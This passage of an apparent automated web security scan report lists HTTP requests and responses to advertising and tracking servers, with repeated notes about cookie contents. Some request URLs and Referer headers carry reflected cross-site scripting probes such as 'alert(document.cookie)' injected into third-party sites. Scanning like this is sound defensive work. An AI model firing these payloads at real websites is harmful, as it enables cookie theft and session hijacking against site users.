udm_0=MLvv8iEJPj5n5t4Lxl8gqM+1+kVoa5JUtjw8RivzoP+6DdtaaJZxHI3717ZFmK2ZlsyUeOuq1XEViaeooyTfZUM3DFRjLhZPKW5XYmxNuO+4+rYyDseF5YobgFQCn2cS7aRvMTMvoplsJb6dvG7t3PCR6Rou8l75exTjbBjgseL+XAqHsouMbHMryYHF1wxXZE50wIytk8Q3eKmmpA0exyO99w7z20ofCv9JlxWMNHyralUwaaBqnHaNcF8NLXsy9AB+zs+UcyCKXdEjj3O1C6WOtNb3pH3/jow9FynWUeWw7QSn0aSkoenRcQhxCe63j6D1DByzYPmvyTIGtMnbOmjDploVPBPbrLNCKcbesh+PrRvMnSVXdy05AL22vNX0q4JCOba0b9bOGV8NtCTL9L3/TUIPkLc+apBjqNighdFBh36gkaxuC1c/An57s+87tT5f8png7zjrKl9PcTk3l4Y5RLgIy3GmWmLXFI93zstHlqsJgWd5QlwPCdT76camu9cemH/XJhelupJXy/sB5OGGoHHObI87INpeX0bS1gX3MOhN2NKt5hwZF/B8uoP85q7F0xxRf3ipYj4GZGV7k1/y4mq698jVyTdCsDE0i9Y7Q66bh3+Z4MfhR6lSoSmVAKVIUiWWW4G3/wTqrejoUQCYoQKd4VwE/i4ToD9z5SSr4tny7VPLcN0fTcmjjYo377nxMIFMKDCkOo0XGMGHpNIudWENyCdQ0DrCiXIGV9nuUw8Q3qmUsYwDn/aRc4ciHT0ANjzZVwN53mjStBIjn/S2XdwK13xeoP8pXNfmKCYFrf8pU+0/Yn7gtaIl0ujBFU2ORgQQ2P/Jaf/WlLPAqyPBvwp/X9958EnXYBM2+sm/tx7X2Czc168Jw9LTEmh/A3Gw0ZpetH5orwSKrfqcnwOV1sbSoQxyd1GbYRlqFXI=; rsi_segs_1000000=pUPFfEOlLgIYlVNWKZU1sWJH1I8V0sD586OtYWpJIZ5At588pHu0XtJj0vEjmwH5W+0fVgtXKwemg4X+X+ZcSFKrAeiVdwmYRcxYnZGANiwodqN5uhpI2RG7gf2tidEme72Dc6LcL4puWziUNiMSVj9Rlec2UMv/RY8CSw1fUUBq299ft5vcz4/QVANk+xUmIlgaIoFCnYcBk/VuIcXautuNt5oFCJuLKVA=; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFe0nF7gMUllNabyWHIwKccKiSiT8JVGqkXdvodADw8a38eCoBWQc1L0j8gGBbqYfEiHv9TixOAICJTj9AN8OlKWN8hkR8+1Y80oVgvtsBSK5t7gYFDQ9bSOz6oMiNlsdjAwQfD3aMkgw90W7ZIPNn7oXhnfg4eevH/M+zWc1yBKxE40OYOxyw7SA3UrFAKtyZ/SS8kG4o48pYTZKLh93HbktKBoWuKVI=; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 22:48:46 GMT; Path=/ Set-Cookie: NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d62ebce&0&&4d3d03b9&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Mon, 21-Feb-2011 22:48:46 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 147 Date: Mon, 24 Jan 2011 22:48:45 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ps/?pid=141&cgn=13888&seg=6770 HTTP/1.1 Host: pixel.33across.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1295482376917
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 01:35:46 GMT Server: 33X6 P3P: CP='NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA' Location: http://segment-pixel.invitemedia.com/pixel?partnerID=38&key=segment&code=6770&random=303331 Content-Length: 0 Set-Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1295919347123%3As2.33%3D%2C6693%2C6993%2C4150%2C4793%2C973%2C2502%2C5393%2C; Domain=.33across.com; Expires=Wed, 25-Jan-2012 01:35:47 GMT; Path=/ Connection: close Content-Type: text/plain; charset=UTF-8
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event/img?mt_id=1524&mt_adid=221 HTTP/1.1 Host: pixel.mathtag.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ts=1295637719; uuid=4d3702bc-839e-0690-5370-3c19a9561295
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel;r=1748518845;fpan=1;fpa=P0-2130372027-1295906131971;ns=1;url=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D2290%2F2289%2F1%3Bs%3D788%3Bd%3D9%3Bw%3D300%3Bh%3D250;ref=http%3A%2F%2Fwww1.whdh.com%2F;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1295906131970;tzo=360;a=p-02uqnnIGWyZdo HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EO0ADqANq0itiBABlQEB7gWB8gCLouLOUu0ZIAwlGDkZLpFKfBprHWMAu5HhAAAAAAKNGx7kD7ENE9koIxchBh-ikQNQxoIgEIUYIAACIAFy5fEEvS4aKSA
Response
HTTP/1.1 204 No Content Connection: close Set-Cookie: d=ENMADqANq0itiBABlQEB8QWB0wCLouLOUu0ZIAwlGDkZLpFKfBprHWMAu5HhAAAAAAKNGx7kD7ENE9koIxchBh-ikQNQxoIgEIUYIAACIAFy5fEEvS4aKSA; expires=Sun, 24-Apr-2011 21:54:47 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Date: Mon, 24 Jan 2011 21:54:47 GMT Server: QS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seg/p-9dsZX-5zhUuTg.js HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=ELIADqANq0itiBABswEB8QWB0wDJ8ePyDKEOsXzTgfglBt0fIAwlGDkZLpFKfBprHWMA6yg89pEAAAAAAo0bHuQPsQ0T2SgjFyEGH6KRA1DGgiAQhRggAAIgAXLl8QSqLCg1opKIKDA
Response
HTTP/1.1 200 OK Connection: close Set-Cookie: d=EJEADqANq0itiBABswEB8gWB8wDJ8ePyDKEOsXzTgfglBt0fIAwlGDkZLpFKfBprHWMA6yg89pEAAAAAAo0bHuQPsQ0T2SgjFyEGH6KRA1DGgiAQhRggAAIgAXLl8QSqLCg1opKIKDA; expires=Mon, 25-Apr-2011 03:06:44 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Content-Type: application/x-javascript ETag: "S18099:E0-1972111918-1295924804754" Cache-Control: private, no-transform, max-age=600 Expires: Tue, 25 Jan 2011 03:16:44 GMT Content-Length: 548 Date: Tue, 25 Jan 2011 03:06:44 GMT Server: QS
function _qcdomain2(){ var d=document.domain; if(d.substring(0,4)=="www.")d=d.substring(4,d.length); var a=d.split(".");var len=a.length; if(len<3)return d; var e=a[len-1]; if(e.length<3)return ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tap.php?v=3615 HTTP/1.1 Host: pixel.rubiconproject.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_1197=3271971346728586924; put_1986=4760492999213801733; ruid=154d290e46adc1d6f373dd09^3^1294539219^2915161843; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; khaos=GIPAEQ2D-C-IOYY; lm="9 Jan 2011 02:15:20 GMT"; cd=false; put_2081=CA-00000000456885722; rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1; rpx=4210%3D8945%2C0%2C1%2C%2C%264214%3D8945%2C0%2C1%2C%2C%264894%3D8945%2C0%2C1%2C%2C%264939%3D8946%2C0%2C1%2C%2C%265671%3D9034%2C0%2C1%2C%2C%262372%3D9034%2C0%2C1%2C%2C%262190%3D9034%2C0%2C1%2C%2C%262374%3D9034%2C0%2C1%2C%2C%262399%3D9257%2C0%2C1%2C%2C
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.3 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Set-Cookie: rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1%263615%3D1; expires=Thu, 24-Feb-2011 01:35:48 GMT; path=/; domain=.rubiconproject.com Set-Cookie: rpx=4210%3D8945%2C0%2C1%2C%2C%264214%3D8945%2C0%2C1%2C%2C%264894%3D8945%2C0%2C1%2C%2C%264939%3D8946%2C0%2C1%2C%2C%265671%3D9034%2C0%2C1%2C%2C%262372%3D9034%2C0%2C1%2C%2C%262190%3D9034%2C0%2C1%2C%2C%262374%3D9034%2C0%2C1%2C%2C%262399%3D9257%2C0%2C1%2C%2C%263615%3D9329%2C0%2C1%2C%2C; expires=Thu, 24-Feb-2011 01:35:48 GMT; path=/; domain=.pixel.rubiconproject.com Content-Length: 49 Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r/bd?ddc=1&pid=18&uid=CAESED6m9hESeuo-2i0GmZeSEfo&cver=1 HTTP/1.1 Host: r.turn.com Proxy-Connection: keep-alive Referer: http://cdn.turn.com/server/ddc.htm?uid=3011330574290390485&mktid=4&mpid=1051202&fpid=3&rnd=3797505172801460594&nu=n&sp=y Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=3011330574290390485; adImpCount=uSIG8d80kGSu-3LVteb8dYo27UqqnCnwkfrXKyAV6Vld6ISB_q_vS5rapRhLZ6kjS6LzB--IPpW7f2lvGgmbV44a2HHwK-7WUoZJXI4UNi7dHrH8JOOm_45w1VVsmbQ-LO5mu_1bsdW1DTvfN8mMduV530E-cnnyNakd9XAJ5pw; fc=1WiKwfBkd2IP9DmYEvBTXecjeUUpq7AdXdV5QaZ3XbQBKx4ZZQvbzWrTNs9TlBo5BZ0EL66upofk3HmGTS_1gr3wc-cQ7FRKnITKYzO3zYV52dhK4dSErN9-EcLOAtq0; pf=ZNcym7VfDvuGzV9XuIE1r-QUWOHC4vVDwY-zzeE9S_KJwV9kSIzX4BtZ7vBDkFqiRgnA1fZrADJXYuYVL1y1CX4lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14999%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Sun, 24-Jul-2011 01:35:46 GMT; Path=/ Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 01:35:45 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64 HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: F1=Bkl690kAAAAASh8CAEAAgEABAAAABAAAAEAAgEA; 49004778=_4d3dea59,5764026402,772178^924994^87^0,0_; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJl2JpJh5e82KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ACID=Bc330012940999670074; GUID=MTI5NTkwMzIzMTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; C2=/nePNJpwIg02FAHCdbdBwhgohXAcwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; ROLL=v5Q2V0M9itzqEXE!;
Response
HTTP/1.1 302 Found Connection: close Date: Mon, 24 Jan 2011 22:49:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://c Set-Cookie: C2=cHgPNJpwIg02FsGCdbdBrhgohXwawOoAM/oROK7YDwAoGX7r1VQcKa8mGKGBI9YRVP53FkL3Fy5gPbw6TVIwsu2B/0mBOea7IIaWGsmgigQvJVAc; domain=advertising.com; expires=Wed, 23-Jan-2013 22:49:00 GMT; path=/ Set-Cookie: ROLL=v5Q2U0M!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:49:00 GMT; path=/ Set-Cookie: 49004778=_4d3dea59,5764026402,772178^924994^87^0,0_; domain=advertising.com; path=/click Set-Cookie: 5764026402=_4d3dea59,5764026402,772178^924994^87^0,1_; domain=advertising.com; path=/click Cache-Control: private, max-age=0, no-cache Expires: Mon, 24 Jan 2011 22:49:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://c">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1?01AD=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w&01RI=17D7C736696B8AA&01NA= HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; F1=BQiz50kAAAAAjM7CAEAAgEABAAAABAAAAEAAgEA; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ROLL=v5Q2V0M7N+zqILE!; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; C2=/nePNJpwIg02FAHCdbdBwhgohXAcwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; GUID=MTI5NTkwMzIzMTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=CT-1
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Comscore: CMXID=2115.924994.772178.0XMC Cache-Control: private, max-age=0, no-cache Expires: Mon, 24 Jan 2011 22:03:20 GMT Content-Type: application/x-javascript; charset=utf-8 Content-Length: 584 Vary: Accept-Encoding Date: Mon, 24 Jan 2011 22:03:20 GMT Connection: close Set-Cookie: A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; expires=Mon, 21-Feb-2011 22:03:20 GMT; path=/; domain=r1-ads.ace.advertising.com Set-Cookie: C2=ocfPNJpwIg02F1GCdbdRthgohXUbwOoAM/ohQK7YDwAoGg7r1VQcKagnGKGBI9YhXP53FkL3F75gPbw6TVswsu2B/0mRQea7IIaWG1G; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:20 GMT; path=/ Set-Cookie: F1=Bgy990kAAAAASh8CAEAAgEABAAAABAAAAEAAgEA; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:20 GMT; path=/ Set-Cookie: BASE=YnQIo9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvGn4fkHCXD!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:20 GMT; path=/ Set-Cookie: ROLL=v5Q2V0M9itzquWE!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:20 GMT; path=/ Set-Cookie: 49004778=_4d3df728,7545040742,772178^924994^87^0,0_; domain=advertising.com; path=/click P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1 HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; F1=BQiz50kAAAAAjM7CAEAAgEABAAAABAAAAEAAgEA; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ROLL=v5Q2V0M7N+zqILE!; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; C2=/nePNJpwIg02FAHCdbdBwhgohXAcwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; GUID=MTI5NTkwMzIzMTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.924994.772178.0XMC Cache-Control: private, max-age=0, no-cache Expires: Mon, 24 Jan 2011 22:03:16 GMT Content-Type: application/x-javascript; charset=utf-8 Content-Length: 584 Date: Mon, 24 Jan 2011 22:03:16 GMT Connection: close Vary: Accept-Encoding Set-Cookie: C2=kcfPNJpwIg02F1GCdbdRthgohXUbwOoAM/ohQK7YDwAoGg7r1VQcKagnGKGBI9YhXP53FkL3F75gPbw6TVswsu2B/0mRQea7IIaWG1G; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: F1=BQy990kAAAAASh8CAEAAgEABAAAABAAAAEAAgEA; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: BASE=YnQIo9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvGn4fkHCXD!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: ROLL=v5Q2V0M9itzquWE!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: 49004778=_4d3df724,5208681003,772178^924994^87^0,0_; domain=advertising.com; path=/click
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /e/cm?t=parenthoodcom-20&o=1&p=8&l=op1&pvid=FAF57618C04BCD50&ref-url=http%3A//www.parenthood.com/%3Fd1907%27-alert%28document.cookie%29-%27807a8eb3eff%3D1&ref-title=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&ref-ref=http%3A//burp/show/57&bgc=FFFFFF&bdc=D4CCB2&pcc=990000&tec=5D6E4F&tic=714653&ac=714653&pvc=6E6E6E&mp=1&hl=1&tg=_blank&dsc=1&f=ifr&e=iso-8859-1 HTTP/1.1 Host: rcm.amazon.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 